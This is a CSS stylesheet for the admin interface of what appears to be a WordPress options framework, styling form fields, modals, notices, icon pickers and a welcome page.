.csf-field-import textarea {
  width: 100%;
  max-width: 100%;
  min-height: 125px;
}
.csf-field-textarea .csf-shortcode-button {
  margin-bottom: 10px;
  margin-right: 5px;
}
.csf-field-typography select,
.csf-field-typography textarea {
  margin: 0;
  min-width: 100%;
  max-width: 100%;
}
.csf-field-typography .csf--title {
  color: #777;
  margin: 0 0 2px 0;
  font-size: 12px;
}
.csf-field-typography .csf--title small {
  vertical-align: top;
}
.csf-field-typography .csf--blocks {
  display: flex;
  flex-wrap: wrap;
}
.csf-field-typography .csf--block {
  flex: 1;
  max-width: 100%;
  padding-right: 6px;
  padding-bottom: 6px;
}
.csf-field-typography .csf--input {
  margin: 0;
  min-width: 100%;
}
.csf-field-typography .csf--input-wrap {
  position: relative;
}
.csf-field-typography .csf--unit {
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  bottom: 4px;
  padding: 2px 6px;
  color: #666;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  background: #eee;
  user-select: none;
  display: flex;
  justify-content: center;
  flex-direction: column;
}
.csf-field-typography .csf--preview {
  font-size: 16px;
  line-height: 20px;
  padding: 20px;
  color: #222;
  border: 1px solid #eee;
  background-color: #fff;
  border-radius: 0;
  user-select: none;
  -webkit-user-select: none;
  transition: background-color 0.2s, border-color 0.2s;
}
.csf-field-typography .csf--block-preview {
  cursor: pointer;
  position: relative;
  overflow: hidden;
  margin-top: 10px;
  max-width: 100%;
}
.csf-field-typography .csf--black-background {
  border-color: #000;
  background-color: #000;
}
.csf-field-typography .csf--toggle {
  position: absolute;
  top: 5px;
  right: 10px;
  color: #999;
}
.csf-field-typography .csf--block-extra-styles {
  margin-top: 5px;
}
.csf-field-upload input {
  width: 100%;
  margin: 0;
  border-radius: 0;
}
.csf-field-upload .csf--wrap {
  display: flex;
  align-items: flex-start;
}
.csf-field-upload .button {
  margin-left: 5px;
  border-radius: 0;
}
.csf-field-upload .csf--preview {
  position: relative;
}
.csf-field-wp_editor .csf-wp-editor {
  float: left;
  width: 100%;
}
.csf-field-wp_editor .mce-toolbar-grp {
  border: none;
}
.csf-field-wp_editor .mce-btn.mce-active button,
.csf-field-wp_editor .mce-btn.mce-active i,
.csf-field-wp_editor .mce-btn.mce-active:hover button,
.csf-field-wp_editor .mce-btn.mce-active:hover i {
  color: #23282d;
}
.csf-field-wp_editor .wp-media-buttons {
  position: relative;
  z-index: 2;
}
.csf-field-wp_editor .wp-editor-tabs {
  position: relative;
  z-index: 1;
}
.csf-field-wp_editor .csf-no-tinymce {
  border: 1px solid #e5e5e5;
}
.csf-field-wp_editor .csf-no-quicktags .wp-media-buttons {
  float: none;
  display: block;
}
.csf-field-wp_editor .csf-no-quicktags .mce-tinymce {
  box-shadow: none;
  border: 1px solid #e5e5e5;
}
.csf-field-wp_editor textarea {
  width: 100%;
  max-width: 100%;
  margin: 0;
  box-shadow: none;
}
.csf-field-heading {
  font-size: 1.5em;
  font-weight: 700;
  color: #23282d;
  background-color: #f5f5f5;
}
.csf-field-subheading {
  font-size: 14px;
  font-weight: 700;
  padding-top: 17px;
  padding-bottom: 17px;
  color: #23282d;
  background-color: #f7f7f7;
}
.csf-field-submessage {
  padding: 0 !important;
  border: 0 !important;
}
.csf-field-submessage + .csf-field {
  border-top: 0 !important;
}
.csf-submessage {
  font-size: 12px;
  padding: 17px 30px;
  border-top: 1px solid transparent;
  border-bottom: 1px solid transparent;
}
.csf-submessage-success {
  color: #3c763d;
  border-color: #d6e9c6;
  background-color: #dff0d8;
}
.csf-submessage-info {
  color: #31708f;
  border-color: #bce8f1;
  background-color: #d9edf7;
}
.csf-submessage-warning {
  color: #8a6d3b;
  border-color: #faebcc;
  background-color: #fcf8e3;
}
.csf-submessage-danger {
  color: #a94442;
  border-color: #ebccd1;
  background-color: #f2dede;
}
.csf-submessage-normal {
  color: #23282d;
  border-color: #eee;
  background-color: #f7f7f7;
}
.csf-field-notice {
  background-color: #f7f7f7;
}
.csf-notice {
  padding: 12px;
  background-color: #fff;
  border-left-style: solid;
  border-left-width: 4px;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1);
}
.csf-notice-success {
  border-color: #46b450;
}
.csf-notice-info {
  border-color: #339fd4;
}
.csf-notice-warning {
  border-color: #ffbc00;
}
.csf-notice-danger {
  border-color: #dc3232;
}
.csf-notice-normal {
  border-color: #222;
}
.csf-field-number input {
  width: 100%;
  margin: 0;
  border-radius: 0;
}
.csf-field-number .csf--wrap {
  position: relative;
  float: left;
  width: 100px;
}
.csf-field-number .csf--unit {
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  bottom: 4px;
  padding: 2px 6px;
  color: #666;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  background: #eee;
  user-select: none;
  display: flex;
  justify-content: center;
  flex-direction: column;
}
.csf-field-link .csf--result {
  display: inline-block;
  font-size: 12px;
  line-height: 16px;
  padding: 7px 10px;
  margin-bottom: 7px;
  color: #777;
  border: 1px solid #e5e5e5;
  background-color: #f5f5f5;
  border-radius: 0;
  world-break: break-word;
}
.csf-field-link .csf--wrap {
  position: relative;
  float: left;
  width: 100px;
}
.csf-field-link .csf--unit {
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  bottom: 4px;
  padding: 2px 6px;
  color: #666;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  background: #eee;
  user-select: none;
  display: flex;
  justify-content: center;
  flex-direction: column;
}
.csf-help {
  cursor: help;
  position: absolute;
  top: 0;
  right: 0;
  padding: 5px;
  font-size: 13px;
  color: #aaa;
}
.csf-help .csf-help-text {
  display: none;
}
.csf--preview {
  max-width: 100%;
}
.csf-image-preview {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  flex-direction: column;
  position: relative;
  padding: 6px;
  max-width: 120px;
  max-height: 120px;
  min-width: 40px;
  min-height: 40px;
  margin-bottom: 10px;
  text-align: center;
  border-radius: 0;
  border: 1px solid #ccc;
  background-color: #f9f9f9;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.08);
}
.csf-image-preview i {
  cursor: pointer;
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  font-size: 14px;
  width: 22px;
  height: 22px;
  line-height: 22px;
  text-align: center;
  text-decoration: none;
  color: #fff;
  background-color: #d33;
  opacity: 0.75;
  border-radius: 0;
  transition: all 0.2s;
}
.csf-image-preview i:hover {
  opacity: 1;
}
.csf-image-preview i:focus {
  box-shadow: none;
}
.csf-image-preview span {
  position: relative;
  overflow: hidden;
  display: flex;
  height: 100%;
  width: 100%;
}
.csf-image-preview img {
  max-width: 100%;
  height: auto;
  object-fit: contain;
}
.csf-field-custom .csf-field {
  padding: 0;
}
.csf-field .chosen-container-single .chosen-single {
  height: 36px;
  line-height: 34px;
  min-width: 220px;
}
.csf-field .chosen-container-single .chosen-single abbr {
  top: 0;
  right: 20px;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 12px;
  height: 100%;
  width: 18px;
  color: #aaa;
  text-align: center;
  background: 0 0;
}
.csf-field .chosen-container-single .chosen-single abbr:before {
  content: "\f00d";
}
.csf-field .chosen-container-single .chosen-single abbr:hover {
  color: #555;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice
  .search-choice-close {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 12px;
  height: 100%;
  width: 18px;
  color: #aaa;
  text-align: center;
  background: 0 0;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice
  .search-choice-close:before {
  content: "\f00d";
  display: inline-block;
  padding-top: 3px;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice
  .search-choice-close:hover {
  color: #555;
}
.csf-field .chosen-container-single .chosen-single div b {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 14px;
  color: #aaa;
  background: 0 0;
}
.csf-field .chosen-container-single .chosen-single div b:before {
  content: "\f107";
}
.csf-field .chosen-container-single .chosen-single div b:hover {
  color: #555;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice-placeholder {
  border: 1px dashed #aaa;
  margin: 3px 5px 3px 0;
}
.csf-field .chosen-container-multi .ui-sortable li.search-choice span {
  cursor: move;
}
.csf-field
  .chosen-container-active.chosen-with-drop
  .chosen-single
  div
  b:before {
  content: "\f106";
}
.csf-field .chosen-container-single .chosen-single-with-deselect span {
  margin-right: 40px;
}
.csf-field .chosen-container-single .chosen-search input[type="text"] {
  background: 0 0;
}
.csf-field .chosen-container-single .chosen-search:before {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 11px;
  content: "\f002";
  position: absolute;
  right: 12px;
  top: 10px;
  color: #aaa;
}
.csf-field .wp-picker-container {
  display: inline-block;
}
.csf-field .wp-picker-container .wp-color-result.button {
  margin-bottom: 0;
}
.csf-field .csf--transparent-wrap {
  display: none;
  position: relative;
  top: -1px;
  width: 235px;
  padding: 9px 10px;
  border: 1px solid #dfdfdf;
  border-top: none;
  background-color: #fff;
}
.csf-field .wp-picker-active .csf--transparent-wrap {
  display: block;
}
.csf-field .csf--transparent-slider {
  position: absolute;
  width: 190px;
  margin-left: 2px;
  height: 18px;
}
.csf-field .csf--transparent-slider .ui-slider-handle {
  position: absolute;
  top: -3px;
  bottom: -3px;
  z-index: 5;
  border-color: #aaa;
  border-style: solid;
  border-width: 4px 3px;
  width: 10px;
  height: 16px;
  margin: 0 -5px;
  background: 0 0;
  cursor: ew-resize;
  opacity: 0.9;
  border-radius: 0;
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
}
.csf-field .csf--transparent-slider .ui-slider-handle:before {
  content: " ";
  position: absolute;
  left: -2px;
  right: -2px;
  top: -3px;
  bottom: -3px;
  border: 2px solid #fff;
  border-radius: 0;
}
.csf-field .csf--transparent-offset {
  height: 18px;
  width: 200px;
  background: url(../images/checkerboard.png) repeat-y center left scroll #fff;
  border-radius: 0;
  box-shadow: inset 0 0 5px rgba(0, 0, 0, 0.4);
}
.csf-field .csf--transparent-text {
  position: absolute;
  top: 12px;
  right: 10px;
  width: 30px;
  font-size: 12px;
  line-height: 12px;
  text-align: center;
  color: #999;
}
.csf-field .csf--transparent-button {
  cursor: pointer;
  user-select: none;
  margin-top: 10px;
  font-size: 11px;
  text-align: center;
  border-radius: 0;
  padding: 3px 7px;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
  letter-spacing: 0.2px;
  color: #777;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  transition: background-color 0.2s, border-color 0.2s, color 0.2s;
}
.csf-field .csf--transparent-active .wp-color-result {
  background-image: url(../images/checkerboard.png);
  background-size: 135px;
  background-position: center left;
  background-color: transparent !important;
}
.csf-field .csf--transparent-active .csf--transparent-button {
  color: #fff;
  border-color: #3ea032;
  background-color: #4fb845;
}
.csf-field .csf--transparent-active .fa:before {
  content: "\f205";
}
.csf-widgets > .csf-field {
  position: relative;
  top: -1px;
  margin-left: -15px;
  margin-right: -15px;
  padding: 12px 15px;
}
.csf-widgets > .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 5px;
}
.csf-widgets > .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
.csf-widgets .csf-field-text input {
  width: 100%;
  border-radius: 0;
}
.csf-widgets .csf-field-notice .csf-notice {
  padding: 15px;
}
.control-section .csf-widgets > .csf-field {
  margin-left: -10px;
  margin-right: -10px;
  padding: 10px 12px;
}
.wp-block .csf-widgets {
  font-size: 13px;
}
.wp-block .csf-widgets > .csf-field {
  margin-left: -10px;
  margin-right: -10px;
}
.wp-block .csf-widgets > .csf-field .button-primary {
  color: #fff;
}
.wp-block .csf-widgets > .csf-field > .csf-title > h4 {
  font-size: 13px;
}
.control-section .csf-field {
  padding: 0;
}
.control-section .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 6px;
}
.control-section .csf-field .csf-title h4 {
  display: block;
  font-size: 13px;
  line-height: 1;
  font-weight: 600;
  color: inherit;
}
.control-section .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
.control-section .csf-help {
  top: -5px;
  right: -5px;
}
.control-section .csf-field-select select {
  width: 100%;
}
.control-section .csf-field-heading {
  color: inherit;
  font-size: 14px;
  line-height: 1em;
  margin-right: -15px;
  margin-left: -15px;
  padding: 15px;
}
.control-section .csf-field-subheading {
  color: inherit;
  font-size: 11px;
  margin-right: -15px;
  margin-left: -15px;
  padding: 10px 15px;
}
.control-section .csf-subtitle-text {
  margin-top: 4px;
  font-size: 12px;
}
.control-section .csf-field-submessage .csf-submessage {
  margin-right: -15px;
  margin-left: -15px;
  padding: 15px;
}
.control-section .csf-fieldset .csf-field-heading,
.control-section .csf-fieldset .csf-field-subheading,
.control-section .csf-fieldset .csf-field-submessage .csf-submessage {
  margin-left: 0;
  margin-right: 0;
}
.control-section .csf-field-date label,
.control-section .csf-field-datetime label {
  display: block;
}
.control-section .csf-field-date .csf--to,
.control-section .csf-field-datetime .csf--to {
  margin-top: 4px;
  margin-left: 0;
}
.control-section .csf-field-sorter ul li {
  padding: 5px;
}
.control-section .csf-field-sorter .csf-modules {
  float: none;
  width: 100%;
}
.control-section .csf-field-sorter .csf-modules:first-child {
  padding-right: 0;
  padding-bottom: 15px;
}
.control-section .csf-field-background .csf--background-attributes {
  flex-direction: column;
}
.control-section .csf-field-spacing input {
  width: 90px;
}
.control-section .csf-field-border .csf--input {
  flex: 1 50%;
}
.control-section .csf-field-border input,
.control-section .csf-field-border select {
  width: 100%;
}
.control-section .csf-field-spinner input {
  width: 50px;
}
.control-section .csf-field-number .csf--wrap {
  width: 100%;
}
.control-section .csf-field-backup .csf-export-data {
  display: none;
}
.control-section .csf-field-fieldset .csf-fieldset-content {
  border-color: #e5e5e5;
}
.control-section .csf-accordion-content > .csf-field,
.control-section .csf-cloneable-content > .csf-field,
.control-section .csf-fieldset-content > .csf-field,
.control-section .csf-repeater-content > .csf-field,
.control-section .csf-sortable-content > .csf-field,
.control-section .csf-tabbed-content > .csf-field {
  padding: 10px;
}
.control-section .csf-accordion-content > .csf-field .csf-title,
.control-section .csf-cloneable-content > .csf-field .csf-title,
.control-section .csf-fieldset-content > .csf-field .csf-title,
.control-section .csf-repeater-content > .csf-field .csf-title,
.control-section .csf-sortable-content > .csf-field .csf-title,
.control-section .csf-tabbed-content > .csf-field .csf-title {
  margin-bottom: 5px;
}
.control-section .csf-accordion-content > .csf-field h4,
.control-section .csf-cloneable-content > .csf-field h4,
.control-section .csf-fieldset-content > .csf-field h4,
.control-section .csf-repeater-content > .csf-field h4,
.control-section .csf-sortable-content > .csf-field h4,
.control-section .csf-tabbed-content > .csf-field h4 {
  font-size: 12px;
}
.control-section .csf-depend-hidden.csf-depend-on {
  display: none !important;
}
.control-section .csf-depend-visible.csf-depend-on {
  border-top: 0 !important;
}
.csf-taxonomy {
  max-width: 95%;
}
.csf-taxonomy > .csf-field {
  border-top: none !important;
}
.csf-taxonomy > .csf-field-heading {
  font-size: 1.1em;
  padding: 20px !important;
  border: 1px solid #ddd;
}
.csf-taxonomy > .csf-field-subheading {
  font-size: 12px;
  padding: 15px !important;
  border: 1px solid #ddd;
}
.csf-taxonomy > .csf-field-submessage .csf-submessage {
  padding: 15px;
  border-left-width: 1px;
  border-left-style: solid;
  border-right-width: 1px;
  border-right-style: solid;
}
.csf-taxonomy > .csf-field-notice {
  background-color: transparent;
}
.csf-taxonomy .csf-section-title {
  display: block;
  padding: 15px;
  background-color: #f9f9f9;
  border: 1px solid #e5e5e5;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-taxonomy-add-fields > .csf-field {
  padding: 8px 0;
}
.csf-taxonomy-add-fields > .csf-field > .csf-title {
  float: none;
  width: 100%;
  padding: 2px 2px 4px 0;
}
.csf-taxonomy-add-fields > .csf-field > .csf-title h4 {
  font-size: 12px;
  font-weight: 400;
}
.csf-taxonomy-add-fields > .csf-field > .csf-fieldset {
  float: none;
  width: 100%;
}
.csf-taxonomy-add-fields > .csf-field > .csf-fieldset > .csf-help {
  right: -5px;
}
.csf-taxonomy-add-fields + p.submit {
  margin-top: 0;
}
.csf-taxonomy-edit-fields > .csf-field {
  padding: 20px 0;
}
.csf-taxonomy-edit-fields > .csf-field > .csf-title {
  width: 200px;
}
.csf-taxonomy-edit-fields > .csf-field > .csf-title h4 {
  font-size: 14px;
  font-weight: 600;
  line-height: 1.3;
  display: inline-block;
  vertical-align: middle;
}
.csf-taxonomy-edit-fields > .csf-field > .csf-fieldset {
  width: calc(100% - 220px);
}
.csf-taxonomy-edit-fields > .csf-field > .csf-fieldset > .csf-help {
  top: -5px;
  right: -5px;
}
.csf-taxonomy-edit-fields > .csf-field-submessage {
  margin: 20px 0;
}
.csf-taxonomy-edit-fields > .csf-field-heading,
.csf-taxonomy-edit-fields > .csf-field-subheading {
  margin: 20px 0;
  border: 1px solid #ddd;
}
.csf-nav-menu-options {
  clear: both;
  float: left;
  width: 100%;
}
.csf-nav-menu-options > .csf-fields {
  margin: 10px -10px;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
}
.csf-nav-menu-options > .csf-fields > .csf-field {
  padding: 12px;
}
.csf-nav-menu-options > .csf-fields > .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 5px;
}
.csf-nav-menu-options > .csf-fields > .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
.csf-nav-menu-options .csf-field-text input {
  width: 100%;
}
.csf-nav-menu-options .csf-field-notice .csf-notice {
  padding: 15px;
}
.csf-nav-menu-title {
  padding: 12px;
  background-color: #f5f5f5;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
}
.csf-nav-menu-title:first-child {
  border-top: 0;
}
.csf-nav-menu-title h4 {
  margin: 0;
  padding: 0;
  color: #23282d;
}
.csf-nav-menu-icon {
  margin-right: 5px;
}
.csf-profile-options > h2 > .fa {
  padding-right: 7px;
}
.csf-profile-options > .csf-field {
  max-width: 750px;
  padding: 15px 0;
  border-top: none !important;
}
.csf-profile-options > .csf-field > .csf-title {
  width: 200px;
}
.csf-profile-options > .csf-field > .csf-title h4 {
  font-size: 14px;
  font-weight: 600;
  line-height: 1.3;
  display: inline-block;
  vertical-align: middle;
}
.csf-profile-options > .csf-field > .csf-fieldset {
  width: calc(100% - 220px);
}
.csf-profile-options > .csf-field > .csf-fieldset > .csf-help {
  top: -15px;
  right: -5px;
}
.csf-profile-options > .csf-field-heading {
  font-size: 1.1em;
}
.csf-profile-options > .csf-field-subheading {
  font-size: 12px;
}
.csf-profile-options > .csf-field-heading,
.csf-profile-options > .csf-field-subheading {
  margin: 10px 0;
  padding: 15px !important;
  border: 1px solid #ddd;
}
.csf-profile-options > .csf-field-submessage {
  margin: 20px 0;
}
.csf-profile-options > .csf-field-submessage .csf-submessage {
  padding: 10px;
  border-left-width: 1px;
  border-left-style: solid;
  border-right-width: 1px;
  border-right-style: solid;
}
.csf-profile-options > .csf-field-notice {
  background-color: transparent;
}
.csf-modal {
  position: fixed;
  z-index: 100101;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}
.csf-modal.hidden {
  display: none;
}
.csf-modal-icon {
  z-index: 100102;
}
.csf-modal-table {
  display: table;
  width: 100%;
  height: 100%;
}
.csf-modal-table-cell {
  display: table-cell;
  vertical-align: middle;
  margin: 100px 0;
}
.csf-modal-inner {
  position: relative;
  z-index: 10;
  width: 760px;
  height: 750px;
  margin: 0 auto;
  background-color: #fff;
}
.csf-modal-content {
  position: relative;
  overflow: hidden;
  overflow-y: auto;
  height: 595px;
}
.csf-modal-content .csf-shortcode-button {
  display: none;
}
.csf-modal-content .csf-field {
  padding: 15px 30px 15px 15px;
}
.csf-modal-content a:active,
.csf-modal-content a:focus {
  outline: 0;
  box-shadow: none;
}
.csf-modal-content h4 {
  font-size: 13px;
}
.csf-modal-content h4 small {
  font-style: italic;
  font-weight: 400;
  color: #aaa;
}
.csf-modal-title {
  position: relative;
  background-color: #fcfcfc;
  border-bottom: 1px solid #ddd;
  height: 36px;
  font-size: 16px;
  font-weight: 600;
  line-height: 36px;
  margin: 0;
  padding: 0 36px 0 16px;
}
.csf-modal-header {
  width: 100%;
  padding: 14px 0;
  background-color: #f5f5f5;
  border-bottom: 1px solid #ddd;
}
.csf-modal-header select {
  display: block;
  width: 250px;
  margin: 0 auto;
  font-size: 13px;
  line-height: 1;
  height: 30px;
  min-height: 30px;
  background-color: #fff;
}
.csf-modal-close {
  color: #666;
  padding: 0;
  position: absolute;
  top: 0;
  right: 0;
  width: 36px;
  height: 36px;
  text-align: center;
  background: 0 0;
  border: none;
  cursor: pointer;
}
.csf-modal-close:before {
  font: normal 20px/36px dashicons;
  content: "\f158";
  vertical-align: top;
  width: 36px;
  height: 36px;
}
.csf-modal-close:hover {
  opacity: 0.5;
}
.csf-modal-insert-wrapper {
  text-align: center;
  width: 100%;
  padding: 15px 0;
  background-color: #f5f5f5;
  border-top: 1px solid #ddd;
}
.csf-modal-overlay {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: #000;
  opacity: 0.5;
}
.csf--repeatable {
  padding: 15px 15px 0 15px;
}
.csf--repeat-button-block {
  text-align: center;
  padding-bottom: 15px;
}
.csf--repeat-shortcode {
  position: relative;
  margin-bottom: 15px;
  border: 1px dashed #ddd;
}
.csf--repeat-shortcode:first-child .csf-repeat-remove {
  display: none;
}
.csf--repeat-shortcode .csf-repeat-remove {
  position: absolute;
  right: 10px;
  top: 10px;
  z-index: 10;
  cursor: pointer;
  display: inline-block;
  font-size: 11px;
  width: 18px;
  height: 18px;
  line-height: 18px;
  text-align: center;
  border-radius: 0;
  color: #fff;
  background-color: #e14d43;
  opacity: 0.5;
}
.csf--repeat-shortcode .csf-repeat-remove:hover {
  opacity: 0.5;
}
.csf-shortcode-single .csf-modal-inner {
  height: 750px;
}
.csf-shortcode-single .csf-modal-content {
  height: 652px;
}
.elementor-editor-active .csf-shortcode-button {
  margin-left: 5px;
}
.elementor-editor-active .csf-modal .hidden {
  display: none !important;
}
.csf-shortcode-block {
  text-align: center;
  padding: 14px;
  font-size: 13px;
  background-color: #f5f5f5;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
    Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}
.csf-shortcode-block .components-button {
  margin-bottom: 10px;
}
.csf-modal-icon .csf-icon-title {
  padding: 15px 0;
  margin: 4px;
  font-size: 14px;
  font-weight: 700;
  text-align: center;
  border: 1px solid #eee;
  background-color: #f7f7f7;
}
.csf-modal-icon .csf-modal-header {
  text-align: center;
}
.csf-modal-icon .csf-icon-search {
  width: 50%;
  height: 40px;
  line-height: 40px;
}
.csf-modal-icon i {
  cursor: pointer;
  display: inline-block;
  margin: 4px;
  width: 35px;
  height: 35px;
  line-height: 35px;
  font-size: 16px;
  color: #555;
  text-align: center;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  border-radius: 0;
  box-shadow: 1px 1px 0 rgba(0, 0, 0, 0.05);
}
.csf-modal-icon i:hover {
  color: #fff;
  border-color: #222;
  background-color: #222;
}
.csf-modal-icon .csf-modal-content {
  padding: 10px;
  height: 618px;
}
.csf-modal-icon .csf-error-text {
  padding: 10px;
}
.csf-modal-loading {
  display: none;
  position: absolute;
  left: 15px;
  top: 15px;
}
.csf-loading {
  position: relative;
  width: 20px;
  height: 20px;
  background: #ccc;
  border-radius: 20px;
  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.07);
}
.csf-loading:after {
  position: absolute;
  top: 50%;
  left: 50%;
  width: 4px;
  height: 4px;
  content: "";
  margin-top: -2px;
  margin-left: -2px;
  background-color: #fff;
  animation-duration: 0.5s;
  animation-iteration-count: infinite;
  animation-timing-function: linear;
  animation-name: csfLoader;
  border-radius: 0;
}
@keyframes csfLoader {
  0% {
    transform: rotate(0) translateX(-6px) rotate(0);
  }
  100% {
    transform: rotate(360deg) translateX(-6px) rotate(-360deg);
  }
}
.csf-subtitle-text {
  margin-top: 6px;
  font-weight: 400;
  color: #999;
}
.csf-desc-text {
  clear: both;
  float: left;
  width: 100%;
  margin-top: 6px;
  font-weight: 400;
  color: #999;
}
.csf-error-text {
  margin-top: 6px;
  color: #d02c21;
}
.csf-before-text {
  margin-bottom: 6px;
}
.csf-after-text {
  margin-top: 6px;
}
.csf-metabox-hide {
  display: none !important;
}
.csf-metabox-show {
  display: block !important;
}
.csf-depend-hidden.csf-depend-on {
  display: none;
}
.csf-depend-visible.csf-depend-on {
  display: block;
  opacity: 0.75;
  filter: grayscale(1);
  user-select: none;
  border-top: 1px solid #eee;
}
.csf-depend-visible.csf-depend-on .clear:before {
  content: "";
  left: 0;
  top: 0;
  right: 0;
  bottom: 0;
  position: absolute;
  background-color: #eee;
  opacity: 0.25;
  z-index: 10;
}
.csf-warning-primary {
  color: #fff !important;
  border-color: #dc3545 !important;
  background: #dc3545 !important;
}
.csf-warning-primary:focus,
.csf-warning-primary:hover {
  border-color: #bd2130 !important;
  background: #bd2130 !important;
}
.csf-warning-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #bd2130 !important;
}
.csf-warning-primary:active {
  border-color: #bd2130 !important;
  background: #bd2130 !important;
}
.csf-form-result {
  display: none;
  float: left;
  padding: 0 8px;
  margin-right: 4px;
  font-size: 11px;
  line-height: 36px;
  user-select: none;
  border-radius: 0;
}
.csf-form-show {
  display: block;
}
.csf-form-success {
  color: #fff;
  background-color: #46b450;
}
.csf-form-warning {
  color: #8a6d3b;
  background-color: #faebcc;
}
.csf-label-error {
  position: relative;
  top: -2px;
  display: inline-block;
  font-size: 10px;
  line-height: 10px;
  height: 10px;
  width: 10px;
  padding: 1px;
  font-style: normal;
  text-align: center;
  color: #fff;
  vertical-align: middle;
  background-color: #e10000;
  border-radius: 0;
}
.csf-no-option {
  padding: 30px;
}
.csf-input-number {
  -moz-appearance: textfield;
}
.csf-input-number::-webkit-inner-spin-button,
.csf-input-number::-webkit-outer-spin-button {
  -webkit-appearance: none;
  margin: 0;
}
.csf-fa5-shims .csf .fab,
.csf-fa5-shims .csf .far,
.csf-fa5-shims .csf .fas {
  font-family: FontAwesome;
  font-style: normal;
}
.csf-welcome-wrap {
  position: relative;
  margin: 25px 40px 0 20px;
  font-size: 15px;
  max-width: 1200px;
}
.csf-welcome-wrap p {
  font-size: 14px;
  line-height: 1.5;
}
.csf-welcome-wrap h1 {
  margin: 0.2em 200px 0 0;
  padding: 0;
  color: #32373c;
  line-height: 1.2em;
  font-size: 2.8em;
  font-weight: 400;
}
.csf-welcome-wrap .csf-logo {
  position: absolute;
  overflow: hidden;
  top: 0;
  right: 0;
  height: 160px;
  width: 140px;
  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.25), inset 0 0 0 4px rgba(0, 0, 0, 0.25);
}
.csf-welcome-wrap .csf-logo .csf--effects i {
  position: absolute;
  width: 200px;
  height: 100px;
  background-color: rgba(0, 0, 0, 0.15);
  transform: rotate(-45deg);
}
.csf-welcome-wrap .csf-logo .csf--effects i:first-child {
  bottom: -20px;
  right: -70px;
}
.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(2) {
  bottom: -35px;
  right: -80px;
}
.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(3) {
  bottom: -50px;
  right: -90px;
}
.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(4) {
  bottom: -65px;
  right: -100px;
}
.csf-welcome-wrap .csf-logo .csf--wp-logos {
  position: relative;
  padding-top: 25px;
  text-align: center;
}
.csf-welcome-wrap .csf-logo .csf--wp-logo {
  position: absolute;
  left: 20px;
  width: 20px;
  height: 20px;
  background-repeat: no-repeat;
  background-position: center center;
  background-image: url(../images/wp-logo.svg);
}
.csf-welcome-wrap .csf-logo .csf--wp-plugin-logo {
  display: inline-block;
  width: 50px;
  height: 50px;
  border: 3px solid #fff;
  background-size: 40px;
  background-repeat: no-repeat;
  background-position: center center;
  background-image: url(../images/wp-plugin-logo.svg);
  border-radius: 100%;
  vertical-align: middle;
}
.csf-welcome-wrap .csf-logo .csf--text {
  position: absolute;
  left: 0;
  right: 0;
  top: 90px;
  color: #fff;
  font-size: 13px;
  line-height: 1.2em;
  font-weight: 600;
  text-align: center;
  text-transform: uppercase;
  text-shadow: 1px 1px 0 rgba(0, 0, 0, 0.25);
}
.csf-welcome-wrap .csf-logo .csf--version {
  top: auto;
  left: auto;
  right: 8px;
  bottom: 4px;
  font-size: 11px;
  text-transform: lowercase;
}
.csf-welcome-wrap .csf-about-text {
  font-weight: 400;
  line-height: 1.6em;
  font-size: 19px;
  margin: 1em 200px 1em 0;
  color: #555d66;
}
.csf-welcome-wrap .csf-demo-button {
  margin: 1em 200px 2em 0;
}
.csf-welcome-wrap .nav-tab-wrapper {
  margin-bottom: 20px;
}
.csf-welcome-wrap ul {
  list-style-type: disc;
  padding-left: 15px;
}
.csf-welcome-wrap .csf--col {
  float: left;
  padding-right: 20px;
  box-sizing: border-box;
}
.csf-welcome-wrap .csf--col-2 {
  width: 50%;
}
.csf-welcome-wrap .csf--col-3 {
  width: 33.333%;
}
.csf-welcome-wrap .csf--col-4 {
  width: 25%;
}
.csf-welcome-wrap .csf--col-5 {
  width: 20%;
}
.csf-welcome-wrap .csf--col-last {
  padding-right: 0;
}
.csf-welcome-wrap .csf--col-upgrade {
  padding: 10px 0;
  text-align: center;
  border-top: 1px solid #e5e5e5;
}
.csf--table-compare tfoot td,
.csf--table-compare thead td {
  text-align: center;
}
